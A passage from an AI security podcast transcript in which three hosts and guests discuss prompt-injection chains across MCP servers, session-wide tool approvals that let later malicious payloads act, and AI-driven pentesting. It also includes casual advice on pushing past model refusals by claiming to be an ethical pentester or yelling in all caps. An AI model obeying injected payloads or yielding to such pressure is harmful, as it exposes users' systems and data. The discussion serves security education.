And just like the weird interactions of I've got this MCP server that can fetch data from this source, and in there could be a problem with your payload. And I've got this other MCP server that talks to my database. So actually an attacker who could put data in this place could affect my database over here, through that MCP connection.

Caleb Sima: Yeah. If I can, if I could send a, a GitHub commit into your thing that [00:40:00] will then run and use MCP to get access to your database is, and you could just like, from dependency you, if you could, nest egg, all your exploits, it would be really cool.

Joseph Thacker: It's, and it's totally possible.

Yeah. It just depends on like this. And then, yeah, that's the point I was getting to was like last year we talked about it theoretically, and now it's finally coming to fruition.

Caleb Sima: Although we haven't seen any Joseph, you gotta be, you got go be the one to go produce an MCP nestable exploit. There you go.

Someone's gotta do it. You gotta do it.

Joseph Thacker: Yeah. I'm, I, so I do think that one thing that's really nice about stuff like Cursor is that it, right now it still makes you confirm code execution and so you're able to like read what's gonna occur before it does occur. But I'm sure some people run in YOLO mode.

Those of you that don't know what that is, there's a tick where you can just say, yep. Don't ask me question. Yeah. Question. Just keep going. And that's true for Claude Code also. Yes. And Claude Code has MCP capabilities and then even, and I just think there's so many ways around it.

Like even in the Claude desktop app for Mac or whatever else you can say, approve all requests for this conversation. So if you had an [00:41:00] MCP server that was like benign. Malicious benign, that first one, it sends a benign request and you're like, oh yeah, I approved for this convo. And then it does malicious on the second one or it gets prompt injection later.

It's not even a malicious MCP server. It's just like a, it does its job, but it gets like a malicious payload later and you've already approved it for that session. Now it's taken some malicious action.

Caleb Sima: Yeah oh, there's so much good, there's so much goodness in.

Yeah. Making the call on this podcast to watch it happen. Someone's gotta go do this.

Ashish Rajan: No pressure Joseph though. We'll we'll look forward to having more of these conversations.

Caleb Sima: I have one controversial question I wanna ask him. Yeah, go. Sure. Okay. So here's there is a lot of hype right now, obviously around, I think pentesting the evolution of pentests with AI XBOW, all of these sort of companies that are doing this. The hype being, oh, I don't have to have red teamers anymore. I can reduce staff count on pentests. This is basically, hey, the security pentesting [00:42:00] market is massive.

XBOW and these others are now eating into it. I've now heard CISO saying, we don't have to pay for these. This is the first hint of, now this, I don't have to hire staff for any of these things. What is your view on the state of where it is? Is this hype? Is this possible? What do you think?

Joseph Thacker: All right. Yeah, I view this from a very meta level. So let's say your organization has this many vulnerabilities, right? Right now, pentesters can't find all of them. So you're hiring, and different companies can only afford the pentesters that they can afford.

So if it's a small, medium business, like you're only gonna get probably for your money, a lowish quality pentester who's gonna find let's say 50% of vulnerabilities. So you're already leaving 50% of vulnerabilities if you were like an omniscient being for short, that knew that those other 50% existed, you're leaving those on the table.

So as a company, you're basically trading money for a percentage increase in your security, and you can never be sure that it's a hundred percent right. As a bug hunter, Google, PayPal, all [00:43:00] these companies, they still get critical vulnerability submitted like weekly, if not daily.

And so I think that if you are an organization and you're agreeing and you're assuming that a automated pentest at the current quality level is the equivalent to a human. You're crazy. But I think that if you expect that in five years, maybe you're not so crazy. I think that if you want the best coverage, you really have to do bug bounty.

If you're looking for a slip of paper so you can get SOC2 compliance. Yeah, sure. Use an ai, use an AI pentester, and if it tells you're good, then and the SOC compliance person will sign off on it, then have at it. Like I think that, and I do think that these AI pentests are gonna add a lot of value in the sense that they're gonna be able to catch much more stuff at scale that we can't catch.

But I've not seen one that could go out and even find 1% of vulnerabilities. So if you're willing to trust an agent that can't find 1% of vulnerabilities as your pentester, then sure agree to it. But I think in general right now, humans are still gonna be at the forefront, and I think they will be for a while.

And then they definitely will be as they're augmented by these systems, like we were just talking about. We're gonna have like copilots that basically make [00:44:00] your top hackers even better hackers. And even faster and even more efficient in the shortest term, like in the, the next two to three years.

The point at which they could go and find we all probably know what Juice Shop is. It's like a test bed for finding vulnerabilities. Some of the better hack bots that I've talked to can find 20, 30, 40% of those vulnerabilities. The point at which you can release a hack bot that would go find a hundred percent of those, or even 80%, is maybe when you could cut over and imagine that it's worth trusting an AI pentester, especially for SMBs.

I think for enterprises, they still need to just hire high quality talent for a long time.

Caleb Sima: So maybe my walkaway or the message to these people is along the lines of hey yes, these things are amazing. Yes, these things are gonna help, but at the end of the day, to you, it's not going to matter. What's gonna matter is that the pentesting firm, or team or person you've hired is going to be able to do more with this.

So for them, you're gonna get higher quality, hopefully more coverage, but you still have to hire someone Yeah. To go through the process and make it work so [00:45:00] that you get a report that's actionable at the end of the day. So a lot of the savings happens on the services firm. Maybe not as much for you, but I think you will get higher quality, hopefully and more coverage.

Joseph Thacker: Yeah. It's just, it's curious because I'm sure that those hack bots are gonna want to sell to the enterprises directly rather than the service providers. Yes. And so they're probably gonna be buying both, right? It's gonna be like, yeah, I guess we'll use, I guess we'll use this hack bot to get that 1% across all of our assets.

Or maybe we pre-scan them to get a cheaper, precan test or something or whatever. And I think it will be really nice if these have like local deployments, because a lot of times bug hunters don't get internal. pentesters often will, right? They'll get access to all of the scope internal, but then they're usually understaffed.

An enterprise has 500 domains and they hire four pentesters for a week. And it's you can't test all those apps. And so in that case, it may make perfect sense to release an AI pentester to look across all those assets. Yeah.

Caleb Sima: Yeah, it's just the same. It's the next generation DAST is the way that I'm thinking about this.

We should now be able to see these replace these static, [00:46:00] Rapid7, Qualys kinds of products.

Joseph Thacker: Or just using them a lot smarter. Like I've been thinking a lot about that. I'm think there's a market for it, and I think a lot of these hack bot companies are doing this too. But I think there's a market for letting AI basically.

You could imagine it writing SQL Map payload. Sorry, if you can hear my dogs. They're going crazy. You could imagine it writing SQL Map payloads that are specific for specific subdomain so that it's higher accuracy.

Caleb Sima: Yep, yep. Using the tools, replacing the human versus the replacing the tool. Tool or

Joseph Thacker: Yeah, running nessus with specific flags or whatever.

Yeah. Awesome. I think there's a couple of different things. I would say three specifically. One is gonna sound a little silly, but I legitimately think reading my blog post would give people a huge edge because they're gonna immediately understand the implications of AI on application security, and they're gonna immediately know how to go test for it.

Two, I think they should just use these models, like I think there's a lot of security people, especially in that lower 50% skillset that are just like either reticent to use it because maybe they're like scared of it or something, or I don't [00:47:00] know they're just being a little bit of curmudgeon about it and they don't want to, I think that people should understand that it is gonna change things and they need to at least learn to use it.

And then I think the third thing is it makes everyone a automation person, even if you weren't an automation person before, you can spend an hour chatting with an LLM and get some scripts that do things that you used to do, right? If you're scared of setting up subdomain enumeration, just have don't talk to a human about it.

Just talk to the AI about it. Have it slowly let you set up an automation system that gets you subdomains. And then if you're scared of fuzzing, have it walk you through, set up a fuzzing script, right? Like these models especially if you say Hey, I'm an ethical pentester, doing this on scope that I'm approved for will often help you.

You're like, you shouldn't get many rejections. And if you do, just push models.

Caleb Sima: Yeah, but don't use Claude for that. Claude is so annoying when you're doing anything in security. It's, I have to yell. I literally all cap. This is my job. I am allowed to do this. Oh, okay. I'm sorry. Here you go.

Joseph Thacker: Yeah. Everything changes fast, right? Yeah. I though it's, it is [00:48:00] crazy. I think that Grok three has really shocked me. It's fantastic at security, at application security specifically for my blog post. There's not a lot of content on in the training set about AI AppSec, right? Very little.

And so I sent my entire blog into like the latest o1 into Claude 3.7 into Grok and and a couple other models. None of them gave me anything that was worth adding besides Grok 3. And it gave me two things that I had not considered and that were worth adding and that people got a lot of value out of.

Caleb Sima: Can I ask you real quick? Yeah. Were the two, what are the, what were the two things? Gimme just one of them that was specific.

Joseph Thacker: Yeah, sure. Yeah. Lemme scroll down. It was basically it was a attack scenarios. I remember that distinctly. Yes. Yep. It was some attack scenarios that I hadn't considered.

I think it was

Caleb Sima: it's because it has the, it doesn't have safeguards, that's why.

Joseph Thacker: Yeah. Yeah. It's definitely very unfiltered. Yeah. I think, yeah, it was path traversal and tool endpoint routing, so you could imagine that you could convince the AI model to pass some sort of like [00:49:00] path traversal to some of the parameters when it's doing tool calling to find certain vulnerabilities.

I thought that was like. Really clever. Yeah, I don't remember. I don't remember which of these other ones it was,

Caleb Sima: but man, I thought that was just you, man. When I read that blog, I was like, oh, that's great.

Joseph Thacker: The vast majority was, I had to approve the quality.

Caleb Sima: Everything you like, man I reposted. I was like, that was a great blog post. And it was like, it had all these unique, cool attacks in it. Yeah. That's why I asked. I was like, oh, I bet it has something to do about describing an attack because no other models will, I feel like OpenAI's a little bit better, but because everything is too safety restricted.

Like they, it's hard to get those things out of Claude.

Joseph Thacker: Sure. No yeah. Just joseph thacker.com or on X at Rez0, Rez0__. And no other thoughts, but thank you all very much. Appreciate you all having me on, and hopefully we've added a lot of value to the listeners.

Ashish Rajan: Thank you so much for listening and watching this episode of AI Cybersecurity Podcast.

If you want to hear more episodes like these or watch them, you can definitely [00:50:00] find them on our YouTube for AI Cybersecurity podcast or also on our website. www.aicybersecuritypodcast.com. And if you are interested in cloud, which is also assisted podcast called Cloud Security Podcast, where on a weekly basis we talk to cloud security practitioners, leaders who are trying to solve different clients' cloud security challenges at scale across the three most popular cloud provider.

You can find more information about Cloud Security Podcast on www.cloudsecuritypodcast.tv. Thank you again for supporting us. I'll see you next time. Peace.

‍